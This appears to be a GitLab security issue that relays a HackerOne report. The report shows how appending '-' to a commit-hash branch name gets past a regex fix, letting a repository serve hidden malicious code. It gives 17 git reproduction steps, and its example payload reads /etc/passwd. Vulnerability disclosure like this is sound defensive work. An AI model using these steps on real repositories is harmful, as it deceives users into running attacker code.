Skip to content

The main branch of a repository with a specially designed name allows an attacker to create repositories with malicious code. [Bypass #1864278].

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2031845 by st4nly0n on 2023-06-19, assigned to @ottilia_westerlund:

Report | Attachments | How To Reproduce

Report

 

Summary

Note: This is a bypass in the solution to issue #1864278.

When reviewing the file lib/gitlab/checks/branch_check.rb used to patch issue #1864278, I noticed that in the branch_check.rb file, it uses a regular expression %r{\A\h{40}(/|\z)} to evaluate if the branch name follows a certain pattern:

  • \A represents the start of the string.
  • \h{40} matches a sequence of 40 hexadecimal characters.
  • (/|\z) matches a forward slash followed by additional characters or the end of the string.

The prohibited_branch_checks method checks if the branch name matches a specific pattern, which consists of a sequence of 40 hexadecimal characters optionally followed by a forward slash and other characters. If the branch name matches this pattern, an exception is thrown indicating that the branch name is prohibited. This means that the branch name abbebba53d99e36a1450934a8bf4352a7fecd4d8/main would be prohibited. However, you can bypass this restriction by adding a - character at the end of the hexadecimal string, resulting in abbebba53d99e36a1450934a8bf4352a7fecd4d8-/main. This would allow the same attack scenario described in the report #1864278 to occur.

The reproduction steps are almost the same as in #1864278. You just need to add the omission in steps 5, 6, 10, and 14. The modified steps are as follows:
 

Steps To Reproduce

  • You must perform the following steps as the attacker user

1. Create a public repository (Initialize README.md).
 

2. Unprotect the main branch.
 

3. Clone and enter the repository:

git clone <repo>  
cd <repo>  

 

4. Create a hello.sh file, with harmless code:

echo "echo 'hello world'" > hello.sh  

 

5. Create a directory named -/main:

mkdir -p ./-/main  

 

6. Copy the README.md and hello.sh files to the -/main directory:

cp README.md ./-/main/ && cp hello.sh ./-/main/  

 

7. Delete git history:

git update-ref -d HEAD  

 

8. Confirm changes and push to remote:

git add .  
git commit -m 'Init'  
git push origin HEAD -f  

 

9. Create a shell variable with the date of the last commit:

GIT_COMMITTER_DATE=$(git show -s --format=%cd $(git rev-parse HEAD))  

 

10. Create a branch with the following format <last-commit-hash>-/main:

git checkout -b "$(git rev-parse HEAD)-/main"  

 

11. Push the branch to the remote:

git push origin HEAD -f  

 

12. From the web interface, change the default branch to <last-commit-hash>-/main created earlier.
 

13. Remove the main branch:

git push origin -d main  

 

14. Remove the -/main directory from the <last-commit-hash>-/<main> branch:

rm -rf ./-/main/  

 

15. Change the content of hello.sh with the payload of your choice:

echo 'cat /etc/passwd' > hello.sh  

 

16. Delete git history:

git update-ref -d HEAD  

 

17. Confirm the changes with the modified date and push to remote:

git add .  
git commit -m 'Init' --date "$GIT_COMMITTER_DATE"  
git push origin HEAD -f  

 

The following video shows the impact from the victim's point of view, the same as in #1864278.

poc.mp4
  

Proof of concept repository
https://gitlab.com/user_A/1864278_bypass
 

Impact

The impact remains the same as in #1864278.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: